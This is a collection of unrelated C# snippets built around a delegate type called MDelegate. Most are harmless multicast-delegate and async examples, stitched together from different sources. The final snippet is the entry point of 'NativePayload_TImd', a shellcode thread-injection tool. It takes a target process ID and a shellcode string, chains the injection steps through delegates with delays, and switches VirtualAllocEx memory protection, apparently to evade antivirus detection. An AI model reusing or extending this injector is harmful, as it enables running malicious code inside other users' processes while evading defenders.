public MyAsyncResult(MDelegate <T> work, AsyncCallback callback, object state) { _callback = callback; _asyncState = state; _asyncWaitHandle = new ManualResetEvent(false); RunWorkAsynchronously(work); }
public static void Main() { MDelegate m1 = new MDelegate(DM.Display); MDelegate m2 = new MDelegate(DM.print); MDelegate m3 = m1 + m2; MDelegate m4 = m2 + m1; MDelegate m5 = m3 - m2; m3(); m4(); m5(); }
public MultiDeleTest() { MDelegate m1 = new MDelegate(MultiDelegate.Display); MDelegate m2 = new MDelegate(MultiDelegate.Print); MDelegate m3 = m1 + m2; //add Display and Print to m3 MDelegate m4 = m2 + m1; //add Print and Display to m4 MDelegate m5 = m3 - m2; // add Display + Print - Print = Display to m5 m3(); //Display, Print m4(); //Print, Display m5(); //Display }
static void Main(string[] args) { //Class1 class1 = new Class1(); //Class2 class2 = new Class2(); MDelegate m1 = new MDelegate(DM.Display); MDelegate m2 = new MDelegate(DM.Print); MDelegate m3 = m1 + m2; MDelegate m4 = m2 + m1; MDelegate m5 = m3 - m2; m3(); m4(); m5(); }
static void Main(string[] args) { //List of delegate. First execute PrintString(test), second PrintStringLenght(test), and first len equal 1, and last len = 2 (list of method) MDelegate <string> d = MulticastDelegate.PrintString; d += new MulticastDelegate().PrintStringLenght; string test = "test"; int len = d(test); //anonymous d += delegate(string str) { Console.WriteLine("Test 3"); return(3); }; }
static void Main(string[] args) { MDelegate md = new MDelegate(Hello); md.Invoke("Vlad"); md.Invoke("Vadim"); md = null; md?.Invoke("T"); md = Hello; md += Bye; md("Victor"); md -= Bye; md("Andrey"); }
private void RunWorkAsynchronously(MDelegate <T> work) { ThreadPool.QueueUserWorkItem(delegate { try { _result = work(); } catch (Exception e) { _exception = e; } finally { _isCompleted = true; _asyncWaitHandle.Set(); _callback?.Invoke(this); } }); }
static public void Initialise() { MDelegate f = delegate(object[] i) { Console.WriteLine(i[0]); return(null); }; MethodHandler.Add("print", "void", new string[] { "input" }, f); f = delegate(object[] i) { return(Math.Sqrt(Convert.ToDouble(i[0]))); }; MethodHandler.Add("sqrt", "numeric", new string[] { "input" }, f); f = delegate(object[] i) { return(Math.E); }; MethodHandler.Add("e", "numeric", new string[0], f); }
static public Method Add(string identifier, string returntype, string[] arguments, MDelegate function) { Method method = new Method( identifier, arguments, function ) { returnType = returntype }; methods.Add(method); return(method); }
public virtual void SetMethod(object m) { method = (MDelegate)m; }
static void Main(string[] args) { ///> NativePayload_TImd.exe 1 2000 0 4716 "fc,48,.." ///> NativePayload_TImd.exe 1 2000 1 4716 "fc,48,.." /// NativePayload_TImd.exe [steps 1 or 2] [delay 2000] [MemoryProtection/mode 0 or 1] [pid 4716] [payload "fc,48,.."] Console.WriteLine(); Console.ForegroundColor = ConsoleColor.DarkGray; Console.WriteLine("NativePayload_TImd , Published by Damon Mohammadbagher , Jul 2020"); Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("NativePayload_TImd Thread Injection into Target Process + C# Multicast Delegate"); Console.WriteLine(); try { if (args.Length != 0 && args[0].ToUpper() == "HELP" || args[0] == string.Empty) { Console.WriteLine("syntax: " + "\n" + "\t NativePayload_TImd.exe [steps 1 or 2] [delay 2000] [MemoryProtection/mode 0 or 1] [pid 4716] [payload \"fc,48,..\"]"); Console.WriteLine("\t example 1: NativePayload_TImd.exe 1 2000 0 4716 \"fc,48,56,...\""); Console.WriteLine("\t example 2: NativePayload_TImd.exe 2 6721 1 4716 \"fc,48,56,...\""); Console.WriteLine(); Console.WriteLine("\t step = 1 you will have 4 steps (default)"); Console.WriteLine("\t step = 2 you will have 28 steps (\"step1\" + step2 + step3 + step2 + step3 + step2 + step3 + ..... + \"step4\" + step2 + step3 ...)"); Console.WriteLine("\t MemoryProtection = 0 API::VirtualAllocEx set to MemoryProtection.ExecuteReadWrite "); Console.WriteLine("\t MemoryProtection = 1 API::VirtualAllocEx set to MemoryProtection.Execute "); Console.WriteLine(); } else if (args.Length != 0 && args[0].ToUpper() != "HELP") { try { /// step 1 //string[] s1 = new string[2]; DelCLSInvoke._args1[0] = args[3]; DelCLSInvoke._args1[1] = args[4]; MDelegate code1 = new MDelegate(DelCLSInvoke._Step1_); /// step 2 MDelegate code2 = new MDelegate(DelCLSInvoke._Step2_); MDelegate code2_1 = new MDelegate(DelCLSInvoke._Step2_1); /// step 3 MDelegate code3 = new MDelegate(DelCLSInvoke._Step3_); /// step 4 MDelegate code4 = new MDelegate(DelCLSInvoke._Step4_); MDelegate _AllCodes = null; if (args[0] == "1") { if (args[2] == "0") { _AllCodes = code1 + code2 + code3 + code4; } if (args[2] == "1") { _AllCodes = code1 + code2_1 + code3 + code4; } } else if (args[0] == "2") { if (args[2] == "0") { _AllCodes = code1 + code2 + code3 + code2 + code3 + code2 + code3 + code2 + code3 + code2 + code3 + code2 + code3 + code2 + code3 + code2 + code3 + code2 + code3 + code2 + code3 + code4 + code2 + code3 + code2 + code3 + code2 + code3; } if (args[2] == "1") { _AllCodes = code1 + code2_1 + code3 + code2_1 + code3 + code2_1 + code3 + code2_1 + code3 + code2_1 + code3 + code2_1 + code3 + code2_1 + code3 + code2_1 + code3 + code2_1 + code3 + code2_1 + code3 + code4 + code2_1 + code3 + code2_1 + code3 + code2_1 + code3; } } Console.ForegroundColor = ConsoleColor.Gray; Console.WriteLine("[>] Steps will run by Delay.({0})", args[1]); Console.ForegroundColor = ConsoleColor.DarkGray; if (args[0] == "1") { Console.WriteLine("[>] Steps Count {0}", 4); } else if (args[0] == "2") { Console.WriteLine("[>] Steps Count {0}", 28); } if (args[2] == "0") { Console.WriteLine("[>] API::VirtualAllocEx set to MemoryProtection.ExecuteReadWrite"); } if (args[2] == "1") { Console.WriteLine("[>] API::VirtualAllocEx set to MemoryProtection.Execute"); } foreach (MDelegate MultiCodeitems in _AllCodes.GetInvocationList()) { System.Threading.Thread.Sleep(Convert.ToInt32(args[1])); MultiCodeitems(); } } catch (Exception) { } } } catch (Exception e) { Console.WriteLine("syntax: " + "\n" + "\t NativePayload_TImd.exe [steps 1 or 2] [delay 2000] [MemoryProtection/mode 0 or 1] [pid 4716] [payload \"fc,48,..\"]"); Console.WriteLine("\t example 1: NativePayload_TImd.exe 1 2000 0 4716 \"fc,48,56,...\""); Console.WriteLine("\t example 2: NativePayload_TImd.exe 2 6721 1 4716 \"fc,48,56,...\""); Console.WriteLine(); Console.WriteLine("\t step = 1 you will have 4 steps (default)"); Console.WriteLine("\t step = 2 you will have 28 steps (\"step1\" + step2 + step3 + step2 + step3 + step2 + step3 + ..... + \"step4\" + step2 + step3 ...)"); Console.WriteLine("\t MemoryProtection = 0 API::VirtualAllocEx set to MemoryProtection.ExecuteReadWrite "); Console.WriteLine("\t MemoryProtection = 1 API::VirtualAllocEx set to MemoryProtection.Execute "); Console.WriteLine(); } finally { } }